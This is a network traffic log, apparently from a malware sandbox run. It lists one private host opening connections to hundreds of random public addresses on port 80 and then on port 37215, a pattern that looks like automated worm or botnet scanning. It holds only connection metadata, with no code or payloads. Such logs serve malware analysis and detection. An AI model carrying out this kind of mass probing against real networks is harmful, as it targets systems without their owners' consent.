Jan 5, 2025 14:26:56.644155979 CET	56958	80	192.168.2.13	188.8.221.157
Jan 5, 2025 14:26:56.644155979 CET	56958	80	192.168.2.13	141.253.78.172
Jan 5, 2025 14:26:56.644155979 CET	56958	80	192.168.2.13	58.62.110.148
Jan 5, 2025 14:26:56.644156933 CET	56958	80	192.168.2.13	43.189.133.215
Jan 5, 2025 14:26:56.644156933 CET	56958	80	192.168.2.13	85.156.123.103
Jan 5, 2025 14:26:56.644157887 CET	56958	80	192.168.2.13	166.98.132.57
Jan 5, 2025 14:26:56.644157887 CET	56958	80	192.168.2.13	178.207.109.231
Jan 5, 2025 14:26:56.644160986 CET	56958	80	192.168.2.13	90.126.164.204
Jan 5, 2025 14:26:56.644167900 CET	56958	80	192.168.2.13	42.61.20.163
Jan 5, 2025 14:26:56.644167900 CET	56958	80	192.168.2.13	27.238.131.239
Jan 5, 2025 14:26:56.644167900 CET	56958	80	192.168.2.13	94.229.120.112
Jan 5, 2025 14:26:56.644170046 CET	56958	80	192.168.2.13	119.182.226.127
Jan 5, 2025 14:26:56.644172907 CET	56958	80	192.168.2.13	157.22.196.249
Jan 5, 2025 14:26:56.644172907 CET	56958	80	192.168.2.13	191.205.75.106
Jan 5, 2025 14:26:56.644175053 CET	56958	80	192.168.2.13	145.74.197.96
Jan 5, 2025 14:26:56.644175053 CET	56958	80	192.168.2.13	81.186.134.178
Jan 5, 2025 14:26:56.644175053 CET	56958	80	192.168.2.13	93.139.101.54
Jan 5, 2025 14:26:56.644175053 CET	56958	80	192.168.2.13	186.234.152.166
Jan 5, 2025 14:26:56.644188881 CET	56958	80	192.168.2.13	151.120.85.86
Jan 5, 2025 14:26:56.644188881 CET	56958	80	192.168.2.13	202.38.43.242
Jan 5, 2025 14:26:56.644188881 CET	56958	80	192.168.2.13	193.228.207.104
Jan 5, 2025 14:26:56.644188881 CET	56958	80	192.168.2.13	168.253.8.22
Jan 5, 2025 14:26:56.644188881 CET	56958	80	192.168.2.13	112.112.233.158
Jan 5, 2025 14:26:56.644190073 CET	56958	80	192.168.2.13	1.60.234.127
Jan 5, 2025 14:26:56.644190073 CET	56958	80	192.168.2.13	48.61.47.183
Jan 5, 2025 14:26:56.644190073 CET	56958	80	192.168.2.13	130.72.58.193
Jan 5, 2025 14:26:56.644190073 CET	56958	80	192.168.2.13	170.124.27.46
Jan 5, 2025 14:26:56.644188881 CET	56958	80	192.168.2.13	181.242.143.100
Jan 5, 2025 14:26:56.644190073 CET	56958	80	192.168.2.13	79.48.92.132
Jan 5, 2025 14:26:56.644190073 CET	56958	80	192.168.2.13	216.15.23.155
Jan 5, 2025 14:26:56.644202948 CET	56958	80	192.168.2.13	160.217.32.6
Jan 5, 2025 14:26:56.644202948 CET	56958	80	192.168.2.13	1.219.2.221
Jan 5, 2025 14:26:56.644202948 CET	56958	80	192.168.2.13	99.202.130.170
Jan 5, 2025 14:26:56.644203901 CET	56958	80	192.168.2.13	165.33.5.190
Jan 5, 2025 14:26:56.644205093 CET	56958	80	192.168.2.13	108.182.73.149
Jan 5, 2025 14:26:56.644205093 CET	56958	80	192.168.2.13	96.194.3.33
Jan 5, 2025 14:26:56.644202948 CET	56958	80	192.168.2.13	105.7.204.27
Jan 5, 2025 14:26:56.644202948 CET	56958	80	192.168.2.13	14.221.163.24
Jan 5, 2025 14:26:56.644208908 CET	56958	80	192.168.2.13	174.133.216.82
Jan 5, 2025 14:26:56.644208908 CET	56958	80	192.168.2.13	185.20.90.6
Jan 5, 2025 14:26:56.644213915 CET	56958	80	192.168.2.13	91.94.19.168
Jan 5, 2025 14:26:56.644217014 CET	56958	80	192.168.2.13	152.36.23.22
Jan 5, 2025 14:26:56.644217968 CET	56958	80	192.168.2.13	199.241.65.207
Jan 5, 2025 14:26:56.644217968 CET	56958	80	192.168.2.13	104.18.133.232
Jan 5, 2025 14:26:56.644218922 CET	56958	80	192.168.2.13	187.218.247.21
Jan 5, 2025 14:26:56.644222021 CET	56958	80	192.168.2.13	107.108.82.142
Jan 5, 2025 14:26:56.644222975 CET	56958	80	192.168.2.13	203.140.234.247
Jan 5, 2025 14:26:56.644232988 CET	56958	80	192.168.2.13	84.120.86.104
Jan 5, 2025 14:26:56.644232988 CET	56958	80	192.168.2.13	20.132.56.67
Jan 5, 2025 14:26:56.644233942 CET	56958	80	192.168.2.13	206.184.170.226
Jan 5, 2025 14:26:56.644234896 CET	56958	80	192.168.2.13	193.35.100.138
Jan 5, 2025 14:26:56.644234896 CET	56958	80	192.168.2.13	54.243.153.26
Jan 5, 2025 14:26:56.644246101 CET	56958	80	192.168.2.13	209.22.100.195
Jan 5, 2025 14:26:56.644248962 CET	56958	80	192.168.2.13	209.17.187.210
Jan 5, 2025 14:26:56.644248962 CET	56958	80	192.168.2.13	59.5.236.65
Jan 5, 2025 14:26:56.644248962 CET	56958	80	192.168.2.13	57.187.255.96
Jan 5, 2025 14:26:56.644252062 CET	56958	80	192.168.2.13	5.182.62.63
Jan 5, 2025 14:26:56.644258976 CET	56958	80	192.168.2.13	50.116.53.151
Jan 5, 2025 14:26:56.644258976 CET	56958	80	192.168.2.13	103.203.254.171
Jan 5, 2025 14:26:56.644262075 CET	56958	80	192.168.2.13	60.135.87.66
Jan 5, 2025 14:26:56.644262075 CET	56958	80	192.168.2.13	204.4.74.150
Jan 5, 2025 14:26:56.644262075 CET	56958	80	192.168.2.13	18.206.189.63
Jan 5, 2025 14:26:56.644262075 CET	56958	80	192.168.2.13	118.43.221.239
Jan 5, 2025 14:26:56.644258976 CET	56958	80	192.168.2.13	130.5.202.124
Jan 5, 2025 14:26:56.644267082 CET	56958	80	192.168.2.13	197.184.145.61
Jan 5, 2025 14:26:56.644268990 CET	56958	80	192.168.2.13	204.138.104.208
Jan 5, 2025 14:26:56.644268990 CET	56958	80	192.168.2.13	76.212.174.11
Jan 5, 2025 14:26:56.644272089 CET	56958	80	192.168.2.13	179.224.251.31
Jan 5, 2025 14:26:56.644274950 CET	56958	80	192.168.2.13	181.119.121.164
Jan 5, 2025 14:26:56.644280910 CET	56958	80	192.168.2.13	164.226.55.128
Jan 5, 2025 14:26:56.644280910 CET	56958	80	192.168.2.13	77.3.183.87
Jan 5, 2025 14:26:56.644280910 CET	56958	80	192.168.2.13	106.162.152.145
Jan 5, 2025 14:26:56.644280910 CET	56958	80	192.168.2.13	18.137.119.30
Jan 5, 2025 14:26:56.644283056 CET	56958	80	192.168.2.13	195.70.29.162
Jan 5, 2025 14:26:56.644283056 CET	56958	80	192.168.2.13	52.198.244.45
Jan 5, 2025 14:26:56.644283056 CET	56958	80	192.168.2.13	139.38.33.47
Jan 5, 2025 14:26:56.644283056 CET	56958	80	192.168.2.13	126.148.206.118
Jan 5, 2025 14:26:56.644294024 CET	56958	80	192.168.2.13	199.213.104.74
Jan 5, 2025 14:26:56.644303083 CET	56958	80	192.168.2.13	41.151.152.0
Jan 5, 2025 14:26:56.644303083 CET	56958	80	192.168.2.13	34.128.144.179
Jan 5, 2025 14:26:56.644305944 CET	56958	80	192.168.2.13	68.76.250.180
Jan 5, 2025 14:26:56.644305944 CET	56958	80	192.168.2.13	19.106.183.7
Jan 5, 2025 14:26:56.644309044 CET	56958	80	192.168.2.13	42.244.132.168
Jan 5, 2025 14:26:56.644309998 CET	56958	80	192.168.2.13	90.95.224.157
Jan 5, 2025 14:26:56.644311905 CET	56958	80	192.168.2.13	151.160.117.67
Jan 5, 2025 14:26:56.644311905 CET	56958	80	192.168.2.13	14.183.170.78
Jan 5, 2025 14:26:56.644318104 CET	56958	80	192.168.2.13	2.66.219.231
Jan 5, 2025 14:26:56.644319057 CET	56958	80	192.168.2.13	93.17.93.93
Jan 5, 2025 14:26:56.644320011 CET	56958	80	192.168.2.13	97.197.23.128
Jan 5, 2025 14:26:56.644324064 CET	56958	80	192.168.2.13	173.16.121.199
Jan 5, 2025 14:26:56.644325972 CET	56958	80	192.168.2.13	203.198.114.225
Jan 5, 2025 14:26:56.644326925 CET	56958	80	192.168.2.13	177.155.2.91
Jan 5, 2025 14:26:56.644326925 CET	56958	80	192.168.2.13	120.222.175.238
Jan 5, 2025 14:26:56.644326925 CET	56958	80	192.168.2.13	42.158.27.39
Jan 5, 2025 14:26:56.644335032 CET	56958	80	192.168.2.13	205.247.28.114
Jan 5, 2025 14:26:56.644335985 CET	56958	80	192.168.2.13	182.73.189.19
Jan 5, 2025 14:26:56.644340038 CET	56958	80	192.168.2.13	200.250.245.204
Jan 5, 2025 14:26:56.644409895 CET	54974	80	192.168.2.13	54.151.72.99
Jan 5, 2025 14:26:56.644412041 CET	40210	80	192.168.2.13	184.39.176.49
Jan 5, 2025 14:26:56.644434929 CET	59548	80	192.168.2.13	49.185.194.134
Jan 5, 2025 14:26:56.644435883 CET	51430	80	192.168.2.13	32.164.191.231
Jan 5, 2025 14:26:56.644437075 CET	54586	80	192.168.2.13	132.108.249.151
Jan 5, 2025 14:26:56.644437075 CET	57086	80	192.168.2.13	46.224.56.104
Jan 5, 2025 14:26:56.644448996 CET	60414	80	192.168.2.13	187.178.160.113
Jan 5, 2025 14:26:56.644459009 CET	41334	80	192.168.2.13	64.50.196.133
Jan 5, 2025 14:26:56.644474030 CET	60944	80	192.168.2.13	97.124.195.81
Jan 5, 2025 14:26:56.644493103 CET	46420	80	192.168.2.13	44.162.94.163
Jan 5, 2025 14:26:56.644493103 CET	52328	80	192.168.2.13	40.133.17.244
Jan 5, 2025 14:26:56.644495964 CET	44682	80	192.168.2.13	169.194.176.114
Jan 5, 2025 14:26:56.644520998 CET	59422	80	192.168.2.13	14.81.236.190
Jan 5, 2025 14:26:56.644521952 CET	34752	80	192.168.2.13	121.155.195.73
Jan 5, 2025 14:26:56.644521952 CET	38996	80	192.168.2.13	128.250.180.34
Jan 5, 2025 14:26:56.644521952 CET	56606	80	192.168.2.13	90.185.103.33
Jan 5, 2025 14:26:56.644525051 CET	38338	80	192.168.2.13	198.38.240.51
Jan 5, 2025 14:26:56.644526958 CET	42852	80	192.168.2.13	110.169.6.176
Jan 5, 2025 14:26:56.644537926 CET	45620	80	192.168.2.13	37.168.163.42
Jan 5, 2025 14:26:56.644560099 CET	51558	80	192.168.2.13	165.4.191.158
Jan 5, 2025 14:26:56.644568920 CET	57168	80	192.168.2.13	160.232.8.64
Jan 5, 2025 14:26:56.644568920 CET	38300	80	192.168.2.13	160.12.31.23
Jan 5, 2025 14:26:56.644568920 CET	42078	80	192.168.2.13	90.250.128.19
Jan 5, 2025 14:26:56.644578934 CET	51950	80	192.168.2.13	182.58.107.213
Jan 5, 2025 14:26:56.644582033 CET	51032	80	192.168.2.13	218.135.140.108
Jan 5, 2025 14:26:56.644582987 CET	47928	80	192.168.2.13	172.114.95.204
Jan 5, 2025 14:26:56.644587040 CET	58378	80	192.168.2.13	153.152.78.14
Jan 5, 2025 14:26:56.644604921 CET	47872	80	192.168.2.13	200.63.240.141
Jan 5, 2025 14:26:56.644609928 CET	42836	80	192.168.2.13	61.226.178.38
Jan 5, 2025 14:26:56.644624949 CET	56770	80	192.168.2.13	186.181.40.84
Jan 5, 2025 14:26:56.644638062 CET	33370	80	192.168.2.13	49.173.231.143
Jan 5, 2025 14:26:56.644643068 CET	45330	80	192.168.2.13	139.30.30.163
Jan 5, 2025 14:26:56.644643068 CET	38012	80	192.168.2.13	171.208.31.151
Jan 5, 2025 14:26:56.644659996 CET	46532	80	192.168.2.13	192.247.19.115
Jan 5, 2025 14:26:56.644663095 CET	54086	80	192.168.2.13	88.28.204.158
Jan 5, 2025 14:26:56.644665956 CET	41564	80	192.168.2.13	20.87.241.88
Jan 5, 2025 14:26:56.644665956 CET	35758	80	192.168.2.13	199.149.8.144
Jan 5, 2025 14:26:56.644679070 CET	47862	80	192.168.2.13	94.138.141.185
Jan 5, 2025 14:26:56.644686937 CET	46868	80	192.168.2.13	84.142.197.17
Jan 5, 2025 14:26:56.644690990 CET	55128	80	192.168.2.13	72.56.147.96
Jan 5, 2025 14:26:56.644704103 CET	51228	80	192.168.2.13	99.107.143.62
Jan 5, 2025 14:26:56.644704103 CET	56132	80	192.168.2.13	99.165.239.189
Jan 5, 2025 14:26:56.644711018 CET	38494	80	192.168.2.13	126.184.49.221
Jan 5, 2025 14:26:56.644723892 CET	44540	80	192.168.2.13	105.173.184.192
Jan 5, 2025 14:26:56.644722939 CET	51912	80	192.168.2.13	59.172.117.26
Jan 5, 2025 14:26:56.644722939 CET	55462	80	192.168.2.13	90.167.60.3
Jan 5, 2025 14:26:56.644731045 CET	47242	80	192.168.2.13	99.44.37.44
Jan 5, 2025 14:26:56.644737005 CET	38694	80	192.168.2.13	177.16.157.212
Jan 5, 2025 14:26:56.644764900 CET	50204	80	192.168.2.13	64.101.190.89
Jan 5, 2025 14:26:56.644766092 CET	59688	80	192.168.2.13	94.35.93.233
Jan 5, 2025 14:26:56.644766092 CET	41038	80	192.168.2.13	176.172.251.125
Jan 5, 2025 14:26:56.644766092 CET	46792	80	192.168.2.13	154.45.118.128
Jan 5, 2025 14:26:56.644778967 CET	42248	80	192.168.2.13	151.106.177.94
Jan 5, 2025 14:26:56.644793987 CET	58376	80	192.168.2.13	36.162.123.56
Jan 5, 2025 14:26:56.644795895 CET	35922	80	192.168.2.13	57.62.244.9
Jan 5, 2025 14:26:56.644814014 CET	55508	80	192.168.2.13	44.47.134.77
Jan 5, 2025 14:26:56.644814014 CET	38152	80	192.168.2.13	5.197.123.230
Jan 5, 2025 14:26:56.644814014 CET	45606	80	192.168.2.13	51.92.13.108
Jan 5, 2025 14:26:56.644814014 CET	43442	80	192.168.2.13	35.41.199.92
Jan 5, 2025 14:26:56.644825935 CET	59958	80	192.168.2.13	41.87.48.244
Jan 5, 2025 14:26:56.644855976 CET	46652	80	192.168.2.13	139.122.190.32
Jan 5, 2025 14:26:56.644855976 CET	56634	80	192.168.2.13	143.179.29.18
Jan 5, 2025 14:26:56.644862890 CET	39848	80	192.168.2.13	123.140.128.249
Jan 5, 2025 14:26:56.644876003 CET	46776	80	192.168.2.13	49.191.8.68
Jan 5, 2025 14:26:56.644876957 CET	52556	80	192.168.2.13	119.187.9.237
Jan 5, 2025 14:26:56.644880056 CET	42328	80	192.168.2.13	121.29.46.224
Jan 5, 2025 14:26:56.644900084 CET	40600	80	192.168.2.13	216.192.183.76
Jan 5, 2025 14:26:56.644900084 CET	53882	80	192.168.2.13	158.122.187.165
Jan 5, 2025 14:26:56.644920111 CET	57204	80	192.168.2.13	188.181.2.153
Jan 5, 2025 14:26:56.644920111 CET	41928	80	192.168.2.13	130.237.101.84
Jan 5, 2025 14:26:56.644920111 CET	40626	80	192.168.2.13	209.47.23.74
Jan 5, 2025 14:26:56.644926071 CET	55236	80	192.168.2.13	154.143.100.24
Jan 5, 2025 14:26:56.644927025 CET	60500	80	192.168.2.13	196.33.60.124
Jan 5, 2025 14:26:56.644927025 CET	48850	80	192.168.2.13	63.10.28.175
Jan 5, 2025 14:26:56.644938946 CET	52834	80	192.168.2.13	216.65.99.84
Jan 5, 2025 14:26:56.644942045 CET	41666	80	192.168.2.13	105.224.183.34
Jan 5, 2025 14:26:56.644959927 CET	52454	80	192.168.2.13	143.226.147.117
Jan 5, 2025 14:26:56.644982100 CET	58880	80	192.168.2.13	104.225.203.3
Jan 5, 2025 14:26:56.644983053 CET	45326	80	192.168.2.13	125.37.158.195
Jan 5, 2025 14:26:56.644984007 CET	44340	80	192.168.2.13	108.135.76.215
Jan 5, 2025 14:26:56.644984007 CET	59638	80	192.168.2.13	166.187.77.214
Jan 5, 2025 14:26:56.644987106 CET	37114	80	192.168.2.13	184.70.160.254
Jan 5, 2025 14:26:56.645004034 CET	43144	80	192.168.2.13	133.24.74.203
Jan 5, 2025 14:26:56.645008087 CET	60716	80	192.168.2.13	139.252.118.247
Jan 5, 2025 14:26:56.645008087 CET	52282	80	192.168.2.13	192.38.223.1
Jan 5, 2025 14:26:56.645035028 CET	36532	80	192.168.2.13	5.83.118.174
Jan 5, 2025 14:26:56.645035028 CET	44330	80	192.168.2.13	124.72.203.219
Jan 5, 2025 14:26:56.645035982 CET	33064	80	192.168.2.13	165.168.111.74
Jan 5, 2025 14:26:56.648967028 CET	80	56958	89.193.248.250	192.168.2.13
Jan 5, 2025 14:26:56.648979902 CET	80	56958	134.102.166.128	192.168.2.13
Jan 5, 2025 14:26:56.648988962 CET	80	56958	223.121.127.185	192.168.2.13
Jan 5, 2025 14:26:56.648999929 CET	80	56958	209.62.110.93	192.168.2.13
Jan 5, 2025 14:26:56.649008036 CET	80	56958	221.136.12.9	192.168.2.13
Jan 5, 2025 14:26:56.649013042 CET	56958	80	192.168.2.13	134.102.166.128
Jan 5, 2025 14:26:56.649013042 CET	56958	80	192.168.2.13	223.121.127.185
Jan 5, 2025 14:26:56.649013996 CET	56958	80	192.168.2.13	89.193.248.250
Jan 5, 2025 14:26:56.649017096 CET	80	56958	206.50.172.164	192.168.2.13
Jan 5, 2025 14:26:56.649027109 CET	80	56958	37.54.72.91	192.168.2.13
Jan 5, 2025 14:26:56.649036884 CET	56958	80	192.168.2.13	209.62.110.93
Jan 5, 2025 14:26:56.649036884 CET	56958	80	192.168.2.13	221.136.12.9
Jan 5, 2025 14:26:56.649044991 CET	80	56958	47.221.220.24	192.168.2.13
Jan 5, 2025 14:26:56.649049044 CET	56958	80	192.168.2.13	206.50.172.164
Jan 5, 2025 14:26:56.649054050 CET	80	56958	72.243.207.101	192.168.2.13
Jan 5, 2025 14:26:56.649064064 CET	80	56958	109.245.147.71	192.168.2.13
Jan 5, 2025 14:26:56.649065971 CET	56958	80	192.168.2.13	37.54.72.91
Jan 5, 2025 14:26:56.649074078 CET	80	56958	122.69.36.230	192.168.2.13
Jan 5, 2025 14:26:56.649077892 CET	56958	80	192.168.2.13	72.243.207.101
Jan 5, 2025 14:26:56.649082899 CET	80	56958	145.68.152.40	192.168.2.13
Jan 5, 2025 14:26:56.649082899 CET	56958	80	192.168.2.13	47.221.220.24
Jan 5, 2025 14:26:56.649091005 CET	80	56958	140.140.181.59	192.168.2.13
Jan 5, 2025 14:26:56.649101019 CET	80	56958	43.23.21.100	192.168.2.13
Jan 5, 2025 14:26:56.649106979 CET	56958	80	192.168.2.13	122.69.36.230
Jan 5, 2025 14:26:56.649108887 CET	56958	80	192.168.2.13	109.245.147.71
Jan 5, 2025 14:26:56.649110079 CET	80	56958	150.85.84.94	192.168.2.13
Jan 5, 2025 14:26:56.649115086 CET	56958	80	192.168.2.13	145.68.152.40
Jan 5, 2025 14:26:56.649120092 CET	80	56958	170.114.235.83	192.168.2.13
Jan 5, 2025 14:26:56.649130106 CET	80	56958	167.140.115.101	192.168.2.13
Jan 5, 2025 14:26:56.649132013 CET	56958	80	192.168.2.13	140.140.181.59
Jan 5, 2025 14:26:56.649138927 CET	80	56958	108.5.168.211	192.168.2.13
Jan 5, 2025 14:26:56.649141073 CET	56958	80	192.168.2.13	150.85.84.94
Jan 5, 2025 14:26:56.649141073 CET	56958	80	192.168.2.13	43.23.21.100
Jan 5, 2025 14:26:56.649147987 CET	80	56958	94.49.139.13	192.168.2.13
Jan 5, 2025 14:26:56.649156094 CET	80	56958	213.52.106.216	192.168.2.13
Jan 5, 2025 14:26:56.649158001 CET	56958	80	192.168.2.13	170.114.235.83
Jan 5, 2025 14:26:56.649164915 CET	80	56958	77.148.102.80	192.168.2.13
Jan 5, 2025 14:26:56.649174929 CET	56958	80	192.168.2.13	94.49.139.13
Jan 5, 2025 14:26:56.649175882 CET	80	56958	186.233.155.56	192.168.2.13
Jan 5, 2025 14:26:56.649177074 CET	56958	80	192.168.2.13	108.5.168.211
Jan 5, 2025 14:26:56.649177074 CET	56958	80	192.168.2.13	167.140.115.101
Jan 5, 2025 14:26:56.649184942 CET	80	56958	187.215.170.91	192.168.2.13
Jan 5, 2025 14:26:56.649190903 CET	56958	80	192.168.2.13	213.52.106.216
Jan 5, 2025 14:26:56.649194002 CET	80	56958	118.1.42.140	192.168.2.13
Jan 5, 2025 14:26:56.649195910 CET	56958	80	192.168.2.13	77.148.102.80
Jan 5, 2025 14:26:56.649202108 CET	80	56958	201.24.10.218	192.168.2.13
Jan 5, 2025 14:26:56.649210930 CET	80	56958	208.31.46.129	192.168.2.13
Jan 5, 2025 14:26:56.649219036 CET	80	56958	27.187.204.8	192.168.2.13
Jan 5, 2025 14:26:56.649228096 CET	80	56958	210.251.76.35	192.168.2.13
Jan 5, 2025 14:26:56.649229050 CET	56958	80	192.168.2.13	118.1.42.140
Jan 5, 2025 14:26:56.649230003 CET	56958	80	192.168.2.13	187.215.170.91
Jan 5, 2025 14:26:56.649230957 CET	56958	80	192.168.2.13	186.233.155.56
Jan 5, 2025 14:26:56.649238110 CET	80	56958	144.228.47.121	192.168.2.13
Jan 5, 2025 14:26:56.649239063 CET	56958	80	192.168.2.13	201.24.10.218
Jan 5, 2025 14:26:56.649244070 CET	56958	80	192.168.2.13	208.31.46.129
Jan 5, 2025 14:26:56.649254084 CET	80	56958	159.50.39.200	192.168.2.13
Jan 5, 2025 14:26:56.649254084 CET	56958	80	192.168.2.13	27.187.204.8
Jan 5, 2025 14:26:56.649255037 CET	56958	80	192.168.2.13	210.251.76.35
Jan 5, 2025 14:26:56.649266005 CET	56958	80	192.168.2.13	144.228.47.121
Jan 5, 2025 14:26:56.649274111 CET	80	56958	49.38.20.8	192.168.2.13
Jan 5, 2025 14:26:56.649283886 CET	80	56958	85.165.50.215	192.168.2.13
Jan 5, 2025 14:26:56.649290085 CET	56958	80	192.168.2.13	159.50.39.200
Jan 5, 2025 14:26:56.649293900 CET	80	56958	183.75.42.187	192.168.2.13
Jan 5, 2025 14:26:56.649302006 CET	80	56958	95.225.137.142	192.168.2.13
Jan 5, 2025 14:26:56.649311066 CET	80	56958	19.181.176.189	192.168.2.13
Jan 5, 2025 14:26:56.649312973 CET	56958	80	192.168.2.13	85.165.50.215
Jan 5, 2025 14:26:56.649317026 CET	56958	80	192.168.2.13	49.38.20.8
Jan 5, 2025 14:26:56.649319887 CET	80	56958	205.84.6.154	192.168.2.13
Jan 5, 2025 14:26:56.649328947 CET	80	56958	67.6.202.35	192.168.2.13
Jan 5, 2025 14:26:56.649338007 CET	80	56958	177.15.51.100	192.168.2.13
Jan 5, 2025 14:26:56.649343014 CET	56958	80	192.168.2.13	95.225.137.142
Jan 5, 2025 14:26:56.649344921 CET	80	56958	205.205.167.21	192.168.2.13
Jan 5, 2025 14:26:56.649346113 CET	56958	80	192.168.2.13	19.181.176.189
Jan 5, 2025 14:26:56.649353981 CET	80	56958	198.40.82.222	192.168.2.13
Jan 5, 2025 14:26:56.649358034 CET	56958	80	192.168.2.13	205.84.6.154
Jan 5, 2025 14:26:56.649360895 CET	56958	80	192.168.2.13	183.75.42.187
Jan 5, 2025 14:26:56.649363041 CET	80	56958	82.20.236.77	192.168.2.13
Jan 5, 2025 14:26:56.649363041 CET	56958	80	192.168.2.13	67.6.202.35
Jan 5, 2025 14:26:56.649370909 CET	56958	80	192.168.2.13	205.205.167.21
Jan 5, 2025 14:26:56.649370909 CET	80	56958	34.20.189.80	192.168.2.13
Jan 5, 2025 14:26:56.649374008 CET	56958	80	192.168.2.13	177.15.51.100
Jan 5, 2025 14:26:56.649379969 CET	56958	80	192.168.2.13	82.20.236.77
Jan 5, 2025 14:26:56.649380922 CET	80	56958	153.128.164.130	192.168.2.13
Jan 5, 2025 14:26:56.649380922 CET	56958	80	192.168.2.13	198.40.82.222
Jan 5, 2025 14:26:56.649389029 CET	80	56958	27.255.102.38	192.168.2.13
Jan 5, 2025 14:26:56.649398088 CET	80	56958	91.66.172.72	192.168.2.13
Jan 5, 2025 14:26:56.649405956 CET	56958	80	192.168.2.13	34.20.189.80
Jan 5, 2025 14:26:56.649410009 CET	56958	80	192.168.2.13	153.128.164.130
Jan 5, 2025 14:26:56.649425030 CET	56958	80	192.168.2.13	91.66.172.72
Jan 5, 2025 14:26:56.649434090 CET	56958	80	192.168.2.13	27.255.102.38
Jan 5, 2025 14:26:56.663295984 CET	56446	37215	192.168.2.13	197.132.169.174
Jan 5, 2025 14:26:56.663295984 CET	56446	37215	192.168.2.13	197.19.140.10
Jan 5, 2025 14:26:56.663295984 CET	56446	37215	192.168.2.13	156.106.8.154
Jan 5, 2025 14:26:56.663295984 CET	56446	37215	192.168.2.13	156.41.8.104
Jan 5, 2025 14:26:56.663305998 CET	56446	37215	192.168.2.13	156.45.31.249
Jan 5, 2025 14:26:56.663305998 CET	56446	37215	192.168.2.13	156.253.128.82
Jan 5, 2025 14:26:56.663309097 CET	56446	37215	192.168.2.13	156.59.170.143
Jan 5, 2025 14:26:56.663311005 CET	56446	37215	192.168.2.13	197.251.200.216
Jan 5, 2025 14:26:56.663311005 CET	56446	37215	192.168.2.13	156.151.43.158
Jan 5, 2025 14:26:56.663309097 CET	56446	37215	192.168.2.13	41.74.205.152
Jan 5, 2025 14:26:56.663319111 CET	56446	37215	192.168.2.13	156.210.28.212
Jan 5, 2025 14:26:56.663322926 CET	56446	37215	192.168.2.13	197.52.91.3
Jan 5, 2025 14:26:56.663322926 CET	56446	37215	192.168.2.13	41.243.176.192
Jan 5, 2025 14:26:56.663324118 CET	56446	37215	192.168.2.13	156.87.252.177
Jan 5, 2025 14:26:56.663326979 CET	56446	37215	192.168.2.13	197.180.73.237
Jan 5, 2025 14:26:56.663328886 CET	56446	37215	192.168.2.13	156.37.113.219
Jan 5, 2025 14:26:56.663331032 CET	56446	37215	192.168.2.13	41.197.141.244
Jan 5, 2025 14:26:56.663333893 CET	56446	37215	192.168.2.13	156.32.218.179
Jan 5, 2025 14:26:56.663333893 CET	56446	37215	192.168.2.13	41.182.235.167
Jan 5, 2025 14:26:56.663333893 CET	56446	37215	192.168.2.13	156.199.88.152
Jan 5, 2025 14:26:56.663335085 CET	56446	37215	192.168.2.13	156.149.237.10
Jan 5, 2025 14:26:56.663335085 CET	56446	37215	192.168.2.13	197.87.79.128
Jan 5, 2025 14:26:56.663336039 CET	56446	37215	192.168.2.13	197.223.10.244
Jan 5, 2025 14:26:56.663340092 CET	56446	37215	192.168.2.13	197.100.121.252
Jan 5, 2025 14:26:56.663340092 CET	56446	37215	192.168.2.13	197.89.55.199
Jan 5, 2025 14:26:56.663341999 CET	56446	37215	192.168.2.13	197.232.3.115
Jan 5, 2025 14:26:56.663348913 CET	56446	37215	192.168.2.13	197.101.114.11
Jan 5, 2025 14:26:56.663353920 CET	56446	37215	192.168.2.13	156.240.2.209
Jan 5, 2025 14:26:56.663353920 CET	56446	37215	192.168.2.13	41.55.152.177
Jan 5, 2025 14:26:56.663358927 CET	56446	37215	192.168.2.13	156.213.221.9
Jan 5, 2025 14:26:56.663368940 CET	56446	37215	192.168.2.13	156.48.75.28
Jan 5, 2025 14:26:56.663371086 CET	56446	37215	192.168.2.13	41.66.129.233
Jan 5, 2025 14:26:56.663371086 CET	56446	37215	192.168.2.13	156.114.151.194
Jan 5, 2025 14:26:56.663372993 CET	56446	37215	192.168.2.13	41.66.104.248
Jan 5, 2025 14:26:56.663372993 CET	56446	37215	192.168.2.13	156.89.68.181
Jan 5, 2025 14:26:56.663372993 CET	56446	37215	192.168.2.13	197.28.174.191
Jan 5, 2025 14:26:56.663374901 CET	56446	37215	192.168.2.13	197.36.212.27
Jan 5, 2025 14:26:56.663379908 CET	56446	37215	192.168.2.13	197.88.215.233
Jan 5, 2025 14:26:56.663379908 CET	56446	37215	192.168.2.13	156.204.22.186
Jan 5, 2025 14:26:56.663379908 CET	56446	37215	192.168.2.13	41.223.149.5
Jan 5, 2025 14:26:56.663379908 CET	56446	37215	192.168.2.13	197.112.32.202
Jan 5, 2025 14:26:56.663383007 CET	56446	37215	192.168.2.13	41.115.161.248
Jan 5, 2025 14:26:56.663403988 CET	56446	37215	192.168.2.13	197.252.12.4
Jan 5, 2025 14:26:56.663408041 CET	56446	37215	192.168.2.13	41.24.60.227
Jan 5, 2025 14:26:56.663409948 CET	56446	37215	192.168.2.13	156.119.169.159
Jan 5, 2025 14:26:56.663417101 CET	56446	37215	192.168.2.13	41.141.191.103
Jan 5, 2025 14:26:56.663418055 CET	56446	37215	192.168.2.13	41.170.79.71
Jan 5, 2025 14:26:56.663419008 CET	56446	37215	192.168.2.13	156.159.64.168
Jan 5, 2025 14:26:56.663429976 CET	56446	37215	192.168.2.13	197.24.11.41
Jan 5, 2025 14:26:56.663429976 CET	56446	37215	192.168.2.13	41.123.243.46
Jan 5, 2025 14:26:56.663429976 CET	56446	37215	192.168.2.13	156.55.57.47
Jan 5, 2025 14:26:56.663429976 CET	56446	37215	192.168.2.13	41.170.231.112
Jan 5, 2025 14:26:56.663439035 CET	56446	37215	192.168.2.13	156.244.168.170
Jan 5, 2025 14:26:56.663443089 CET	56446	37215	192.168.2.13	197.245.193.182
Jan 5, 2025 14:26:56.663443089 CET	56446	37215	192.168.2.13	156.68.156.243
Jan 5, 2025 14:26:56.663443089 CET	56446	37215	192.168.2.13	197.141.143.175
Jan 5, 2025 14:26:56.663443089 CET	56446	37215	192.168.2.13	197.238.33.126
Jan 5, 2025 14:26:56.663443089 CET	56446	37215	192.168.2.13	197.227.102.247
Jan 5, 2025 14:26:56.663451910 CET	56446	37215	192.168.2.13	156.41.248.117
Jan 5, 2025 14:26:56.663451910 CET	56446	37215	192.168.2.13	197.29.158.182
Jan 5, 2025 14:26:56.663458109 CET	56446	37215	192.168.2.13	156.18.236.154
Jan 5, 2025 14:26:56.663458109 CET	56446	37215	192.168.2.13	41.73.82.203
Jan 5, 2025 14:26:56.663458109 CET	56446	37215	192.168.2.13	156.54.86.23
Jan 5, 2025 14:26:56.663460970 CET	56446	37215	192.168.2.13	41.21.0.18
